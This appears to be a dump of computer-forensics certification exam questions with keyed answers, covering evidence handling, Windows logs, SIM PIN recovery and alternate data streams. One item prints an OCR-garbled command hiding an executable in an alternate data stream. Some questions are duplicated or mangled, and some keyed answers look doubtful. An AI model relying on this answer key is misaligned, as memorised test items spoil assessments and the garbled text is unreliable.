A forensics investigator needs to copy data from a computer to some type of removable media so he can examine the information at another location. The problem
is that the data is around 42GB in size. What type of removable media could the investigator use?

A. Blu-Ray single-layer
B. HD-DVD

C. Blu-Ray dual-layer
D. DVD-18

Answer: C

NEW QUESTION 595
- (Exam Topic 2)
What is the first step taken in an investigation for laboratory forensic staff members?

A. Packaging the electronic evidence

B. Securing and evaluating the electronic crime scene
C. Conducting preliminary interviews

D. Transporting the electronic evidence

Answer: B

NEW QUESTION 598
- (Exam Topic 2)
Which of the following files DOES NOT use Object Linking and Embedding (OLE) technology to embed and link to other objects?

A. Portable Document Format
B. MS-office Word Document
C. MS-office Word OneNote
D. MS-office Word PowerPoint

Answer: A

NEW QUESTION 599
- (Exam Topic 2)
Which of the following stages in a Linux boot process involve initialization of the system’s hardware?

A. BIOS Stage

B. Bootloader Stage
C. BootROM Stage
D. Kernel Stage

Answer: A

NEW QUESTION 602

- (Exam Topic 2)

What type of attack sends spoofed UDP packets (instead of ping packets) with a fake source address to the IP broadcast address of a large network?
A. Fraggle

B. Smurf scan

C. SYN flood

D. Teardrop

Answer: A
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NEW QUESTION 605
- (Exam Topic 2)
When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz format, what does the nnn denote?

A. The year the evidence was taken

B. The sequence number for the parts of the same exhibit
C. The initials of the forensics analyst

D. The sequential number of the exhibits seized

Answer: D

NEW QUESTION 606

- (Exam Topic 2)

Smith, as a part his forensic investigation assignment, seized a mobile device. He was asked to recover the Subscriber Identity Module (SIM card) data in the
mobile device. Smith found that the SIM was protected by a Personal Identification Number (PIN) code, but he was also aware that people generally leave the PIN
numbers to the defaults or use easily guessable numbers such as 1234. He made three unsuccessful attempts, which blocked the SIM card. What can Jason do in
this scenario to reset the PIN and access SIM data?

A. He should contact the network operator for a Temporary Unlock Code (TUK)
B. Use system and hardware tools to gain access

C. He can attempt PIN guesses after 24 hours

D. He should contact the network operator for Personal Unlock Number (PUK)

Answer: D

NEW QUESTION 607

- (Exam Topic 2)

Daryl, a computer forensics investigator, has just arrived at the house of an alleged computer hacker. Daryl takes pictures and tags all computer and peripheral
equipment found in the house. Daryl packs all the items found in his van and takes them back to his lab for further examination. At his lab, Michael his assistant
helps him with the investigation. Since Michael is still in training, Daryl supervises all of his work very carefully. Michael is not quite sure about the procedures to
copy all the data off the computer and peripheral devices. How many data acquisition tools should Michael use when creating copies of the evidence for the
investigation?

A. Two
B. One
C. Three
D. Four

Answer: A

NEW QUESTION 611
- (Exam Topic 2)
Which of the following tool captures and allows you to interactively browse the traffic on a network?

A. Security Task Manager
B. Wireshark

C. ThumbsDisplay

D. RegScanner

Answer: B

NEW QUESTION 614

- (Exam Topic 2)

Julie is a college student majoring in Information Systems and Computer Science. She is currently writing an essay for her computer crimes class. Julie paper
focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subject. Julie would like to focus the
subject of the essay on the most common type of crime found in corporate America. What crime should Julie focus on?

A. Physical theft

B. Copyright infringement
C. Industrial espionage

D. Denial of Service attacks

Answer: C

NEW QUESTION 618

- (Exam Topic 2)

Madison is on trial for allegedly breaking into her university internal network. The police raided her dorm room and seized all of her computer equipment. Madison
lawyer is trying to convince the judge that the

seizure was unfounded and baseless. Under which US Amendment is Madison lawyer trying to prove the police violated?

A. The 10th Amendment
B. The 5th Amendment
C. The 1st Amendment
D. The 4th Amendment

Answer: D
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NEW QUESTION 619
- (Exam Topic 2)
When marking evidence that has been collected with the “aaa/ddmmyy/nnnn/zz” format, what does the “nnnn” denote?

A. The initials of the forensics analyst

B. The sequence number for the parts of the same exhibit

C. The year he evidence was taken

D. The sequential number of the exhibits seized by the analyst

Answer: D

NEW QUESTION 622
- (Exam Topic 2)
Richard is extracting volatile data from a system and uses the command doskey/history. What is he trying to extract?

A. Events history

B. Previously typed commands

C. History of the browser

D. Passwords used across the system

Answer: B

NEW QUESTION 625
- (Exam Topic 2)
In Windows Security Event Log, what does an event id of 530 imply?

A. Logon Failure — Unknown user name or bad password

B. Logon Failure — User not allowed to logon at this computer
C. Logon Failure — Account logon time restriction violation

D. Logon Failure — Account currently disabled

Answer: C

NEW QUESTION 626

- (Exam Topic 2)

When investigating a computer forensics case where Microsoft Exchange and Blackberry Enterprise server are used, where would investigator need to search to
find email sent from a Blackberry device?

A. RIM Messaging center

B. Blackberry Enterprise server
C. Microsoft Exchange server
D. Blackberry desktop redirector

Answer: C

NEW QUESTION 630
- (Exam Topic 2)
At what layer does a cross site scripting attack occur on?

A. Presentation
B. Application
C. Session

D. Data Link

Answer: B

NEW QUESTION 634
- (Exam Topic 2)
What feature of Windows is the following command trying to utilize?

o L2 WINDOWS  system 32 cndiexe

Cisrtype cindiscovery.doc * ciwindowshsystend2izol.exerdiscovery.doc

A. White space
B. AFS

C. ADS

D. Slack file
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Answer: C

NEW QUESTION 637

- (Exam Topic 2)

A picture file is recovered from a computer under investigation. During the investigation process, the file is enlarged 500% to get a better view of its contents. The
picture quality is not degraded at all from this process. What kind of picture is this file. What kind of picture is this file?

A. Raster image
B. Vector image
C. Metafile image
D. Catalog image

Answer: B

NEW QUESTION 640
- (Exam Topic 2)
Which of the following tools will help the investigator to analyze web server logs?

A. XRY LOGICAL

B. LanWhois

C. Deep Log Monitor
D. Deep Log Analyzer

Answer: D

NEW QUESTION 645
- (Exam Topic 2)
Which tool does the investigator use to extract artifacts left by Google Drive on the system?

A. PEBrowse Professional
B. RegScanner

C. RAM Capturer

D. Dependency Walker

Answer: C

NEW QUESTION 650

- (Exam Topic 2)

How often must a company keep log files for them to be admissible in a court of law?
A. All log files are admissible in court no matter their frequency

B. Weekly

C. Monthly

D. Continuously

Answer: D

NEW QUESTION 654
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